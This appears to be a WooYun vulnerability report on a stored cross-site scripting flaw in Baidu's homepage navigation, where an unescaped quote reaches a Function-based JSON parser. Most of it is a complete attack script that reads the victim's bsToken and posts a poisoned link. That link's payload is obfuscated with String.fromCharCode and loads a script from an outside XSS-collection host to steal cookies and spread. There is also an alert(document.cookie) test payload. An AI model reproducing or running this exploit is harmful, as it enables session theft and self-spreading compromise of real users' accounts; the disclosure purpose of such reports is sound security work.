WooYun.org

baidu.json.parse=function(a){return(new Function("return ("+a+")"))()};

A. 直接将导航数据[content]输出到首页里，用<textarea></textarea>当容器
B. 取出<textarea></textarea>里的value，需要注意的是，xx.value的方式取出 [content]时，内容里的&quot;&gt;&lt;等会被自动转变为 "><
C. 百度的开发人员应该是意识到了 B 中的这个问题，对 >,< 进行了转义，但是此处却忘了将 " 转义为 &quot;

http://www.baidu.com/home/nplus/submit/nav
type	1
sort	10
url	http://qzone.qq.com/","wooyun":(function(){alert(document.cookie)})(),"wooyun2":"
name	QQ绌洪棿
page	-1
from	res
cmd	add
bsToken	8b4c136d28cc4b8ff****2827d4005c1

http://xsst.sinaapp.com/baidurookit.php
http://xsst.sinaapp.com/baidurookit.php.txt

//alert("load ok! domain:"+document.domain);
//start
getBsToken();
//first obtain bsToken
function getBsToken(){
	var _p=ajaxFunction();
	_p.open("GET","http://www.baidu.com/",true);
	_p.onreadystatechange=function(){
		if (_p.readyState==4 && _p.status==200)
		{
			var content=_p.responseText;
			var bs=(content.match(/name=bsToken\s+value="([^"]+)"/)||["",""])[1];
			if(bs){
				addLink(bs);
			}
		}
	};
	_p.send(null);
}
//then post data to add an evil link
function addLink(bsToken){
	var _p=ajaxFunction();
	_p.open("POST","http://www.baidu.com/home/nplus/submit/nav",true);
	_p.setRequestHeader("Content-type","application/x-www-form-urlencoded");
	_p.onreadystatechange=function(){
		if (_p.readyState==4 && _p.status==200)
		{
			var content=_p.responseText;
			if(content){
				var obj=eval("("+content+")");
				if(obj.errNo===0){
					alert("ok~~ evil thing has been done");
				}
			}
		}
	};
	_p.send("type=1&sort=10&url=http:%2F%2Fqzone.qq.com%2F%26quot;,%26quot;wooyun%26quot;:(function(){window.s=document.createElement(String.fromCharCode(115,99,114,105,112,116));window.s.src=String.fromCharCode(104,116,116,112,58,47,47,120,115,115,101,114,46,109,101,47,119,65,71,112,107,67);document.body.appendChild(window.s)})(),%26quot;wooyun2%26quot;:%26quot;&name=%E7%99%BE%E5%BA%A6%E8%B4%B4%E5%90%A7.....&page=-1&from=res&cmd=add&bsToken="+bsToken);
}
//ajax function
//from http://www.w3school.com.cn/ajax/ajax_browsers.asp
function ajaxFunction(){
	var xmlHttp;
	try{
		// Firefox, Opera 8.0+, Safari
		xmlHttp=new XMLHttpRequest();
    }catch (e){
		// Internet Explorer
		try{
			xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");
		}catch (e){
			try{
				xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
			}
			catch (e){
				//alert("您的浏览器不支持AJAX！");
				return false;
			}
		}
    }
	return xmlHttp;
 }
//